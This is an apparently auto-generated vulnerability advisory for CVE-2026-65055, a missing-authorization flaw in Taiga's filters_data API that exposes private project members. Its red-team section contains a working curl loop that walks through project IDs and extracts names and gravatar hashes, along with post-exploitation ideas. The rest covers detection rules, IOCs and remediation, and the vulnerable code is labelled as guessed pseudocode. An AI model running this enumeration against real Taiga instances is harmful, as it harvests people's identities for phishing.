CVE-2026-65055
Executive Summary
CVE-2026-65055 is a Medium severity missing authorization vulnerability in Taiga 6.10.1 that allows unauthenticated attackers to enumerate private project membership details. The flaw resides in the filters_data API endpoints across multiple viewsets (UserStory, Task, Issue, and Epic), which fail to enforce the same access controls as other project API endpoints. By sending unauthenticated GET requests with sequential integer project IDs, an attacker can disclose sensitive information including user IDs, full names, and gravatar hashes of all project members.
Business Impact: Organizations using Taiga for project management, particularly those hosting private projects containing sensitive business workflows or client data, are at risk. The likely attacker is a low-sophistication threat actor or competitor seeking to map organizational structures, identify key personnel, or gather intelligence for social engineering campaigns. Industries most at risk include software development firms, consulting agencies, and any enterprise using Taiga for internal project tracking.
Urgency Assessment: Despite the CVSS score of 5.3 (Medium), the EPSS probability of 0.0% indicates no observed exploitation in the wild as of 2026-07-22. However, the ease of exploitation (no authentication required, simple GET requests) and the sensitivity of the leaked data (user identities, project membership) elevate the practical risk for organizations with strict confidentiality requirements. The lack of a confirmed patch increases urgency for implementing compensating controls.
Key Facts:
- Vendor: Taiga
- Affected Version: 6.10.1
- Patch Status: UNKNOWN / UNPATCHED
- CISA KEV: Not listed
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
Qualitative Severity: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Metric Decomposition:
- AV:N (Network): The vulnerability is exploitable remotely over the network via HTTP GET requests to the Taiga API.
- AC:L (Low): No special conditions or race conditions are required. The attacker simply needs to supply a valid project ID.
- PR:N (None): The core flaw is that no authentication is required to access the
filters_dataendpoints. - UI:N (None): No user interaction is required. The attacker directly interacts with the API.
- S:U (Unchanged): The compromise does not affect resources beyond the vulnerable component's security scope.
- C:L (Low): The vulnerability only leaks membership data (user IDs, names, gravatar hashes) and workflow configuration. There is no disclosure of project content, passwords, or financial data.
- I:N (None): There is no impact on data integrity.
- A:N (None): There is no impact on system availability.
EPSS Interpretation: The 0.0% EPSS probability indicates that as of the report date, there is no evidence of active exploitation in the wild. This is common for newly published CVEs and does not diminish the potential for future exploitation, especially given the trivial attack vector.
Historical Comparison: This vulnerability is similar to CVE-2023-33733 (Missing authorization in Reportlab) and CVE-2022-22963 (Spring Cloud Function SpEL injection) in that it involves unauthenticated access to an API endpoint that should require authorization. However, CVE-2026-65055 is more limited in scope (information disclosure only) compared to those RCE-capable vulnerabilities.
Temporal/Environmental Considerations: With no patch available and no known exploit code, the temporal score remains at base. Organizations with public-facing Taiga instances should consider the environmental score elevated due to the ease of exploitation and sensitivity of leaked data.
Technical Deep Dive & Attack Mechanics
Step-by-Step Exploitation:
Reconnaissance: The attacker identifies a Taiga instance (typically at
https://taiga.example.com). They may use Shodan dorks or simple web crawling.Project ID Enumeration: Taiga uses sequential integer IDs for projects. The attacker begins sending unauthenticated GET requests to the vulnerable endpoints:
/api/v1/userstories/filters_data?project=1/api/v1/tasks/filters_data?project=1/api/v1/issues/filters_data?project=1/api/v1/epics/filters_data?project=1
Data Extraction: For each valid project ID, the API returns a JSON response containing:
members: Array of user objects withid,full_name,gravatar_id,usernamestatuses: Workflow status configurationpriorities,severities,types, etc.
Bulk Enumeration: The attacker iterates through project IDs (1, 2, 3, ...) to map all private projects and their members.
Root Cause Analysis: The developer mistake is a missing authorization check in the filters_data viewset methods. While other project API endpoints (e.g., /api/v1/projects/1) correctly check if the requesting user is a member of the project, the filters_data endpoints were likely developed as utility endpoints and inadvertently omitted the permission check. The code likely uses a generic viewset mixin that doesn't enforce the same IsProjectMember permission class.
Attack Surface:
- Protocol: HTTP/HTTPS
- Ports: 80/443 (standard web ports)
- Endpoints:
/api/v1/{userstories,tasks,issues,epics}/filters_data
Pre-conditions:
- Network access to the Taiga API
- A valid project ID (easily guessable as sequential integers)
- No authentication required
Attack Variants:
- Direct enumeration: Iterating through project IDs sequentially
- Targeted enumeration: Using known project IDs from public references or previous breaches
- Combined attack: Using leaked member names for social engineering or credential stuffing
Why Standard Defenses May Fail:
- WAF rules: Generic WAF rules may not block
/api/v1/*/filters_datapatterns as they appear legitimate - Rate limiting: Simple rate limiting may not distinguish between legitimate API usage and enumeration
- Authentication checks: The endpoint doesn't require authentication, so session-based controls are bypassed
Vulnerable vs. Patched Code Analysis
Vulnerable Code (Taiga 6.10.1 - Pseudocode):
# In taiga/projects/userstories/views.py or similar
class UserStoryViewSet(viewsets.ModelViewSet):
# ... other methods with proper permission checks ...
@detail_route(methods=['get'])
def filters_data(self, request, pk=None):
# MISSING: No permission check for project membership
project = get_object_or_404(Project, id=request.query_params.get('project'))
# Returns data without verifying user is a member
return Response({
'members': User.objects.filter(memberships__project=project).values('id', 'full_name', 'gravatar_id'),
'statuses': project.us_statuses.all().values(...),
# ...
})
Patched Code (Expected - Pseudocode):
class UserStoryViewSet(viewsets.ModelViewSet):
# ... other methods ...
@detail_route(methods=['get'])
@permission_classes([IsProjectMember]) # Added permission check
def filters_data(self, request, pk=None):
project = get_object_or_404(Project, id=request.query_params.get('project'))
# Verify user has access
self.check_object_permissions(request, project)
return Response({
'members': User.objects.filter(memberships__project=project).values('id', 'full_name', 'gravatar_id'),
# ...
})
Patch Sufficiency: The fix is straightforward — adding the same IsProjectMember permission check that exists on other endpoints. This is sufficient to prevent unauthenticated access. However, the patch must be applied to all four viewsets (UserStory, Task, Issue, Epic).
Regression Considerations: The patch should not introduce regressions as it aligns the filters_data endpoints with the existing security model of other project endpoints. Teams should verify that legitimate authenticated users can still access the data after patching.
Timeline & Disclosure History
- CVE Publication Date: 2026-07-21T21:16:54.157
- Estimated Discovery: Unknown, but likely discovered through security research or bug bounty program
- Disclosure Process: The CVE was published by the CNA (likely MITRE or a partner) with no prior vendor advisory or GitHub Security Advisory available
- Known Exploitation: No known active exploitation as of 2026-07-22
- CISA KEV: Not listed
Threat Intelligence Context
Threat Actor Profile: This vulnerability is most likely to be exploited by:
- Script kiddies and low-sophistication actors: The exploitation is trivial (simple GET requests) and requires no specialized tools
- Competitive intelligence gatherers: Organizations may use this to map competitors' project teams
- Social engineering operators: The leaked user names and gravatar hashes can be used to craft targeted phishing campaigns
Attack Campaign Context: No broader campaigns using this CVE have been identified. However, the vulnerability class (missing authorization in project management software) has been exploited in the past by APT groups targeting defense contractors and technology firms.
Geographic Targeting: No specific geographic targeting patterns are known. Any organization using Taiga is potentially at risk.
Industry Verticals Most at Risk:
- Software development and IT services
- Consulting and professional services
- Government and defense contractors (if using Taiga)
- Any organization with strict confidentiality requirements for project data
Historical Connection: This vulnerability is similar to CVE-2024-27198 (JetBrains TeamCity authentication bypass) in that it allows unauthenticated access to sensitive project metadata. Both target project management/collaboration platforms and can be used for reconnaissance before more targeted attacks.
Exploitation & Lab Setup
Red Team Section
Lab Setup:
# 1. Deploy Taiga 6.10.1 using Docker
git clone https://github.com/taigaio/taiga-docker.git
cd taiga-docker
git checkout 6.10.1
docker-compose up -d
# 2. Create a private project with members (via web UI)
# Note: This requires initial setup and user creation
# 3. Verify the vulnerability
curl -v "http://localhost:8000/api/v1/userstories/filters_data?project=1"
Prerequisites:
- Docker and Docker Compose installed
- Network access to the Taiga instance
- A valid project ID (can be discovered through error messages or enumeration)
Exploitation Walkthrough:
# Step 1: Enumerate project IDs (start with 1, increment)
for i in $(seq 1 100); do
response=$(curl -s -o /dev/null -w "%{http_code}" "http://target:8000/api/v1/userstories/filters_data?project=$i")
if [ "$response" == "200" ]; then
echo "Project $i exists"
curl -s "http://target:8000/api/v1/userstories/filters_data?project=$i" | jq '.members[] | {id, full_name, gravatar_id}'
fi
done
Expected Output:
{
"members": [
{
"id": 1,
"full_name": "John Doe",
"gravatar_id": "abc123def456",
"username": "johndoe"
},
{
"id": 2,
"full_name": "Jane Smith",
"gravatar_id": "789ghi012jkl",
"username": "janesmith"
}
],
"statuses": [...],
"priorities": [...]
}
Post-Exploitation:
- Use leaked user names and gravatar hashes for social engineering
- Map organizational structure from project membership
- Identify high-value targets (project admins, key personnel)
- Combine with other vulnerabilities for lateral movement
Blue Team Section
Detection of Active Exploitation:
- Monitor for repeated GET requests to
/api/v1/*/filters_dataendpoints without authentication cookies - Look for sequential project ID patterns in API logs
- Alert on 200 responses to unauthenticated requests to these endpoints
Log Entries Indicating Exploitation:
[2026-07-22 10:15:23] GET /api/v1/userstories/filters_data?project=1 200 0.123s - (no auth)
[2026-07-22 10:15:24] GET /api/v1/userstories/filters_data?project=2 200 0.110s - (no auth)
[2026-07-22 10:15:25] GET /api/v1/userstories/filters_data?project=3 200 0.115s - (no auth)
Network Traffic Signatures:
- HTTP GET requests to
/api/v1/{userstories,tasks,issues,epics}/filters_data - No
Authorizationheader or session cookie - Sequential or patterned
projectquery parameters - JSON responses containing
membersarray with user data
Endpoint Behavioral Indicators:
- High volume of requests to
filters_dataendpoints from a single IP - Requests to multiple viewsets (userstories, tasks, issues, epics) in quick succession
- 200 responses to unauthenticated requests (should be 401/403)
Indicators of Compromise (IOCs)
No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:
Network IOCs:
- HTTP GET requests to
/api/v1/userstories/filters_data?project=<integer> - HTTP GET requests to
/api/v1/tasks/filters_data?project=<integer> - HTTP GET requests to
/api/v1/issues/filters_data?project=<integer> - HTTP GET requests to
/api/v1/epics/filters_data?project=<integer>
HTTP Request Patterns:
- No
Authorizationheader - No session cookie (
sessionid,csrftoken) - Sequential
projectparameter values (1, 2, 3, ...) - User-Agent: [EXAMPLE — not a real IOC]
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Log Entries:
- Web server logs showing 200 responses to unauthenticated
filters_datarequests - Application logs showing
filters_dataendpoint access without user context
STIX-like IOC List:
| Type | Value | Description |
|---|---|---|
| URL pattern | /api/v1/userstories/filters_data?project=* |
Vulnerable endpoint |
| URL pattern | /api/v1/tasks/filters_data?project=* |
Vulnerable endpoint |
| URL pattern | /api/v1/issues/filters_data?project=* |
Vulnerable endpoint |
| URL pattern | /api/v1/epics/filters_data?project=* |
Vulnerable endpoint |
| HTTP method | GET | Exploitation method |
| Auth required | No | Indicator of exploitation |
Detection Engineering
YARA Rule
rule CVE_2026_65055_Taiga_Exploitation {
meta:
description = "Detects exploitation of CVE-2026-65055 in Taiga filters_data endpoints"
author = "Valters IT Hub"
date = "2026-07-22"
reference = "https://www.valtersit.com/cve/cve-2026-65055"
severity = "medium"
strings:
$endpoint1 = "/api/v1/userstories/filters_data" ascii wide nocase
$endpoint2 = "/api/v1/tasks/filters_data" ascii wide nocase
$endpoint3 = "/api/v1/issues/filters_data" ascii wide nocase
$endpoint4 = "/api/v1/epics/filters_data" ascii wide nocase
$param_project = "?project=" ascii wide nocase
$json_members = "\"members\":" ascii wide
condition:
any of ($endpoint*) and $param_project and $json_members
}
Sigma Rule (SIEM)
title: CVE-2026-65055 Taiga filters_data Exploitation
id: fd2a7d45-88d3-45dd-b1d2-368723d89000
status: experimental
description: Detects unauthenticated access to Taiga filters_data endpoints, indicating exploitation of CVE-2026-65055
author: Valters IT Hub
date: 2026-07-22
references:
- https://www.valtersit.com/cve/cve-2026-65055
logsource:
category: webserver
product: nginx
definition: 'Requires web server logs with request URI and status code'
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '/api/v1/userstories/filters_data?project='
- '/api/v1/tasks/filters_data?project='
- '/api/v1/issues/filters_data?project='
- '/api/v1/epics/filters_data?project='
sc-status: 200
filter_authenticated:
cs-uri-query|contains: 'sessionid='
condition: selection and not filter_authenticated
falsepositives:
- Legitimate administrative activity if authentication is not properly logged
level: high
Suricata IDS Rule
alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
msg:"CVE-2026-65055 Taiga filters_data Unauthenticated Access";
flow:to_server,established;
content:"GET"; http_method;
content:"/api/v1/"; http_uri;
content:"filters_data"; http_uri;
content:"project="; http_uri;
pcre:"/\/api\/v1\/(userstories|tasks|issues|epics)\/filters_data\?project=\d+/U";
classtype:attempted-recon;
sid:10000001;
rev:1;
reference:cve,2026-65055;
reference:url,www.valtersit.com/cve/cve-2026-65055;
)
Elastic (EQL) Query
// Detect unauthenticated access to Taiga filters_data endpoints
sequence by source.ip
[network where
network.protocol == "http" and
http.request.method == "GET" and
http.request.uri contains "/api/v1/" and
http.request.uri contains "filters_data" and
http.request.uri contains "project=" and
not http.request.headers contains "sessionid" and
http.response.status_code == 200
] with maxspan=5m
Splunk SPL Query
index=web sourcetype=access_combined
| search uri_path IN ("/api/v1/userstories/filters_data", "/api/v1/tasks/filters_data", "/api/v1/issues/filters_data", "/api/v1/epics/filters_data")
| search uri_query=*project=*
| search status=200
| search NOT cookie=*sessionid*
| stats count by src_ip, uri, _time
| where count > 10
| sort - count
Wazuh Rule
<group name="taiga,cve-2026-65055,">
<rule id="100001" level="10">
<decoded_as>web</decoded_as>
<field name="url">\.*/api/v1/(userstories|tasks|issues|epics)/filters_data\?project=\d+</field>
<field name="status">200</field>
<field name="cookie" type="pcre">!sessionid</field>
<description>CVE-2026-65055 - Unauthenticated access to Taiga filters_data endpoint</description>
<mitre>
<id>T1190</id>
</mitre>
<group>taiga,recon,</group>
</rule>
</group>
Remediation & Mitigation
Immediate Actions (0-24 hours)
If patch is available:
# Upgrade Taiga to patched version
# Example (adjust based on actual patch):
docker-compose down
git pull origin main # or specific patched branch
docker-compose up -d
If no patch (compensating controls):
- WAF Rule (ModSecurity):
SecRule REQUEST_URI "@rx /api/v1/(userstories|tasks|issues|epics)/filters_data" \
"id:1000001,\
phase:1,\
deny,\
status:403,\
msg:'CVE-2026-65055 Taiga filters_data exploitation blocked'"
- Nginx Reverse Proxy Block:
location ~ ^/api/v1/(userstories|tasks|issues|epics)/filters_data {
deny all;
return 403;
}
- Network-level Mitigation:
- Restrict API access to trusted IP ranges
- Implement VPN/proxy for API access
- Use API gateway with authentication enforcement
Short-term (1-7 days)
Configuration Hardening:
- Disable public access to API endpoints
- Implement API key authentication for all endpoints
- Enable rate limiting on API endpoints
Monitoring Implementation:
- Deploy the detection rules provided above
- Set up alerts for unauthenticated
filters_dataaccess - Review historical logs for exploitation attempts
Vulnerability Scanning:
# Verify vulnerability status
curl -s -o /dev/null -w "%{http_code}" "http://taiga.example.com/api/v1/userstories/filters_data?project=1"
# Should return 401/403 if patched, 200 if vulnerable
Long-term
Architecture Changes:
- Implement API gateway with centralized authentication
- Use OAuth2/OIDC for all API access
- Consider moving to a zero-trust network architecture
Security Control Improvements:
- Regular security audits of API endpoints
- Automated permission testing in CI/CD pipeline
- Implement runtime application self-protection (RASP)
Developer Training:
- Educate developers on OWASP API Security Top 10
- Implement mandatory code review for authorization logic
- Use static analysis tools to detect missing permission checks
Validation:
# Confirm patch applied
curl -v "http://taiga.example.com/api/v1/userstories/filters_data?project=1"
# Expected: 401 Unauthorized or 403 Forbidden
# If 200 with data: still vulnerable
References & Resources
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-65055
- CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-65055
- Vendor advisory: See vendor security page
- OSV: https://osv.dev/vulnerability/CVE-2026-65055 (if applicable)
- Related CWE: https://cwe.mitre.org/data/definitions/862.html
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/
Report generated by Valters IT Hub Neural Engine v25 | 2026-07-22 | https://www.valtersit.com/cve/cve-2026-65055